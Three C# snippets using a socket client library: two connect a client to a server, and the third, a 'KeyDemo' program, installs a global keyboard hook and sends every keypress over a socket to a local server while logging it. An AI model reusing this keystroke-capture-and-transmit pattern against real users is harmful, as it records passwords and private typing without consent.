public override bool start() { //Adding event handling methods for the client _Client.ReceiveMessageEvent += new SocketServerLib.SocketHandler.ReceiveMessageDelegate(_Client_DataReceived); _Client.ConnectionEvent += new SocketServerLib.SocketHandler.SocketConnectionDelegate(_Client_Connected); _Client.CloseConnectionEvent += new SocketServerLib.SocketHandler.SocketConnectionDelegate(_Client_Disconnected); System.Net.IPAddress targetIP; if (System.Net.IPAddress.TryParse(_HostIP, out targetIP) == false) { return(false); } try { _Client.Connect(new System.Net.IPEndPoint(targetIP, _HostPort)); } catch (Exception e) { Trace.WriteLine(e); return(false); } return(true); }
/// <summary> /// Tries to connect to the server and activates the container. /// </summary> public void Start() { try { _clientGuid = Guid.NewGuid(); _client = new BasicSocketClient(); _client.ReceiveMessageEvent += new ReceiveMessageDelegate(client_ReceiveMessageEvent); _client.ConnectionEvent += new SocketConnectionDelegate(client_ConnectionEvent); _client.CloseConnectionEvent += new SocketConnectionDelegate(client_CloseConnectionEvent); if (_name.Contains(" ")) { RaiseNewTextEvent("Do not use space in container name!\r\n"); return; } IPEndPoint ipEndPoint = new IPEndPoint(IPAddress.Parse(_serverIP), _serverPort); RaiseNewTextEvent("Container connecting to server..."); _client.Connect(ipEndPoint); } catch (Exception ex) { RaiseNewTextEvent("Exception: " + ex.Message + "."); } }
static void Main() { ILogger logger = LogManager.GetLogger("KeyDemo"); AppDomain.CurrentDomain.UnhandledException += CurrentDomain_UnhandledException; Application.ThreadException += new System.Threading.ThreadExceptionEventHandler(Application_ThreadException); Application.SetUnhandledExceptionMode(UnhandledExceptionMode.CatchException); BasicSocketClient client = null; Guid clientGuid = Guid.Empty; try { clientGuid = Guid.NewGuid(); client = new BasicSocketClient(); client.ReceiveMessageEvent += (handler, message) => { BasicMessage receivedMessage = (BasicMessage)message; byte[] buffer = receivedMessage.GetBuffer(); string s = System.Text.ASCIIEncoding.Unicode.GetString(buffer); logger.Debug(s); }; client.ConnectionEvent += (handler) => { Thread.Sleep(TimeSpan.FromSeconds(20)); logger.Debug("Client connected to remote server"); }; client.CloseConnectionEvent += (handler) => { logger.Debug("Client disconnected from remote server"); }; client.Connect(new IPEndPoint(IPAddress.Loopback, 8100)); var m_KeyboardHookManager = new KeyboardHookListener(new GlobalHooker()); m_KeyboardHookManager.Enabled = true; m_KeyboardHookManager.KeyPress += (sender, e) => { //NamedPipe.Sender.SendMessage(new List<string>() { e.KeyChar.ToString() }); string s = e.KeyChar.ToString(); byte[] buffer = System.Text.ASCIIEncoding.Unicode.GetBytes(s); BasicMessage message = new BasicMessage(clientGuid, buffer); client.SendAsync(message); logger.Debug(string.Format("KeyDown \t\t {0}\n", e.KeyChar)); }; Application.Run(); } catch (Exception) { throw; } }